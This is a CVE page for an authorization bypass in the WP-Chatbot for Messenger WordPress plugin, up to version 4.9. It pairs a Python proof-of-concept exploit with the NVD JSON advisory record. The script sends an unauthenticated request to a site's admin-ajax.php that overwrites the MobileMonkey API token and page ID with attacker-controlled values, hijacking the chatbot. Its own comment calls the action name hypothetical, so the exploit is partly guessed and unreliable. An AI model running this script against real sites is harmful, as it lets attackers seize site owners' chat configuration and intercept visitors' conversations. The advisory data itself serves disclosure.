CVE-2026-3506

import requests # Target URL (example) target_url = "http://example.com/wp-admin/admin-ajax.php" # Vulnerable payload data based on the plugin's settings # The specific action name 'htcc_save_settings' is hypothetical and derived from plugin structure payload = { "action": "htcc_save_settings", "mobilemonkey_api_token": "ATTACKER_CONTROLLED_TOKEN", "mobilemonkey_page_id": "ATTACKER_CONTROLLED_ID", # Other nonce or security parameters might be missing or bypassed } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Referer": target_url } try: # Send unauthenticated POST request response = requests.post(target_url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if configuration was overwritten.") print("[+] Response:", response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-3506", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:27.390", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP-Chatbot for Messenger plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.9. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to overwrite the site's MobileMonkey API token and company ID options, which can be used to hijack chatbot configuration and redirect visitor conversations to an attacker-controlled MobileMonkey account."}, {"lang": "es", "value": "El plugin WP-Chatbot para Messenger para WordPress es vulnerable a una omisión de autorización en todas las versiones hasta la 4.9, inclusive. Esto se debe a que el plugin no verifica correctamente que un usuario está autorizado para realizar una acción. Esto hace posible que atacantes no autenticados sobrescriban el token de la API de MobileMonkey del sitio y las opciones de ID de empresa, lo que puede usarse para secuestrar la configuración del chatbot y redirigir las conversaciones de los visitantes a una cuenta de MobileMonkey controlada por un atacante."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-chatbot/tags/4.9/admin/admin.php#L29", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-chatbot/tags/4.9/admin/class-htcc-admin.php#L29", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-chatbot/tags/4.9/inc/MobileMonkeyApi.php#L37", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-chatbot/tags/4.9/inc/MobileMonkeyApi.php#L409", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-chatbot/tags/4.9/inc/MobileMonkeyApi.php#L52", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-chatbot/tags/4.9/inc/class-ht-cc.php#L178", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-chatbot/trunk/inc/MobileMonkeyApi.php#L37", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/32cce973-bc3b-45f1-ad4d-ff395d3a6c8e?source=cve", "source": "[email protected]"}]}}